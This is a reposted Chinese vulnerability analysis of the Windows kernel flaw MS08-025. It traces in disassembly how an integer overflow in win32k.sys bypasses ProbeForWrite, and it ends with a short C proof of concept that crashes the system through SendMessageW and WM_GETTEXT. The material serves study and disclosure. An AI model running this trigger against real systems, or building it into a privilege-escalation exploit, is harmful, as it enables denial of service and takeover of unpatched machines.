文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 安全公告 >> 漏洞公告 >> 文章内容  
 

 
Windows 内核漏洞 ms08025 分析

www.hx99.org 阅读: 时间:2008-04-16 整理:华西黑盟
------------------------------------------------------------------
 

Windows 内核漏洞 ms08025 分析

Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org 
Date:    2008-04-10

    经内部讨论后决定公布分析成果。

    4月8号microsoft再次发布了一个系统内核的补丁(KB941693),
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。

    从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了
能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于 
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite 
函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING 
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04                                         ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86FB04                                         ; NtUserMessageCall(x,x,x,x,x,x,x)+61p
.text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep
.text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp
.text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp
.text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...
.text:BF86FB04
.text:BF86FB04 var_24          = dword ptr -24h
.text:BF86FB04 var_20          = dword ptr -20h
.text:BF86FB04 UserBuffer      = dword ptr -1Ch
.text:BF86FB04 ms_exc          = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0           = dword ptr  8
.text:BF86FB04 arg_4           = dword ptr  0Ch
.text:BF86FB04 arg_8           = dword ptr  10h
.text:BF86FB04 Address         = dword ptr  14h
.text:BF86FB04 arg_10          = dword ptr  18h
.text:BF86FB04 arg_14          = dword ptr  1Ch
.text:BF86FB04 arg_18          = dword ptr  20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES

.text:BF86FB04
.text:BF86FB04                 push    14h
.text:BF86FB06                 push    offset unk_BF98D250
.text:BF86FB0B                 call    __SEH_prolog
.text:BF86FB0B
.text:BF86FB10                 xor     edx, edx
.text:BF86FB12                 mov     [ebp+ms_exc.disabled], edx
.text:BF86FB15                 mov     eax, [ebp+var_20]
.text:BF86FB18                 mov     ecx, 7FFFFFFFh
.text:BF86FB1D                 and     eax, ecx
.text:BF86FB1F                 mov     esi, [ebp+arg_18]
.text:BF86FB22                 shl     esi, 1Fh
.text:BF86FB25                 or      eax, esi
.text:BF86FB27                 mov     [ebp+var_20], eax
.text:BF86FB2A                 mov     esi, eax
.text:BF86FB2C                 xor     esi, [ebp+arg_8]  -> esi = 缓冲区长度
.text:BF86FB2F                 and     esi, ecx
.text:BF86FB31                 xor     eax, esi
.text:BF86FB33                 mov     [ebp+var_20], eax
.text:BF86FB36                 cmp     [ebp+arg_18], edx  -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39                 jnz     short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B                 lea     esi, [eax+eax]    <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
                                                        <- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000,32位的寄存器
                                                        <- 被溢出了,esi = 0
.text:BF86FB3E                 xor     esi, eax
.text:BF86FB40                 and     esi, ecx
.text:BF86FB42                 xor     eax, esi
.text:BF86FB44                 mov     [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35j
.text:BF86FB47                 mov     [ebp+var_24], edx
.text:BF86FB4A                 mov     esi, [ebp+Address]
.text:BF86FB4D                 mov     [ebp+UserBuffer], esi
.text:BF86FB50                 xor     ebx, ebx
.text:BF86FB52                 inc     ebx
.text:BF86FB53                 push    ebx             ; Alignment
.text:BF86FB54                 and     eax, ecx
.text:BF86FB56                 push    eax             ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57                 push    esi             ; Address
.text:BF86FB58                 call    ds:ProbeForWrite(x,x,x)


bf80a1b0 e96ef4ffff       jmp   win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8             shr     eax,1
bf80a1b7 894510           mov     [ebp+0x10],eax
bf80a1ba ebf1             jmp    win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514           mov     eax,[ebp+0x14]
bf80a1bf f6400780         test    byte ptr [eax+0x7],0x80
bf80a1c3 8b4008           mov     eax,[eax+0x8]
bf80a1c6 7408             jz     win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000           mov     byte ptr [eax],0x0
bf80a1cb e951f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910           mov     [eax],dx    <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00             push    0x0
bf80a1da 6a02             push    0x2
bf80a1dc ff7638           push    dword ptr [esi+0x38]
bf80a1df e8d1690200       call    win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8             mov     edi,eax
bf80a1e6 85ff             test    edi,edi
bf80a1e8 0f8433f4ffff     je    win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710           lea     esi,[edi+0x10]


那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit)

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{
    DWORD    dwHookAddress = 0x80000000;

    printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
        printf( "Create by Whitecell’s Polymorphours@whitecell.org 2008/04/10\n" );

    SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
    return 0;
}

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/ 
WSS 论坛:http://www.whitecell.org/forums/

   -------------------------------------------------------------------------------------------
  上一篇:NSFOCUS 2008年03月之十大安全漏洞
  下一篇:Adobe Flash Player 9.0.124.0 修改多个安全漏洞
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
Discuz! 6.0.0 0Day漏洞
视频语音聊天系统的漏洞
bbsxp上传注入漏洞
DVBBS 7.1.0 SP1博客远程
MS05-055:Windows内核中
QQ幻想盗号器病毒 窃取游
现代教务管理系统漏洞
动网8.0最新漏洞
NSFOCUS 2007年07月之十大
百度超级搜霸远程代码执行
DNS漏洞攻击增多 微软忙着
mssql2005存手工注入漏洞
沸腾新闻系统 V1.1 Access
DVBBS V7.1 SP1 Boke注入
DedeCMS最新版存在暴物理
bo-blog2.0.3文件浏览漏洞
QQ惊爆危险漏洞 360截获“
动易最新未公开漏洞
宁波都市网漏洞公告(通杀
PHPWind论坛5.3版postuplo
oblog商业版本4.6注射漏洞
Microsoft Internet Explo
雅虎窗件曝出缓冲区溢出漏
乔客(joekoe) CMS 4.0 的2
phpRPC库远程代码执行漏洞
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号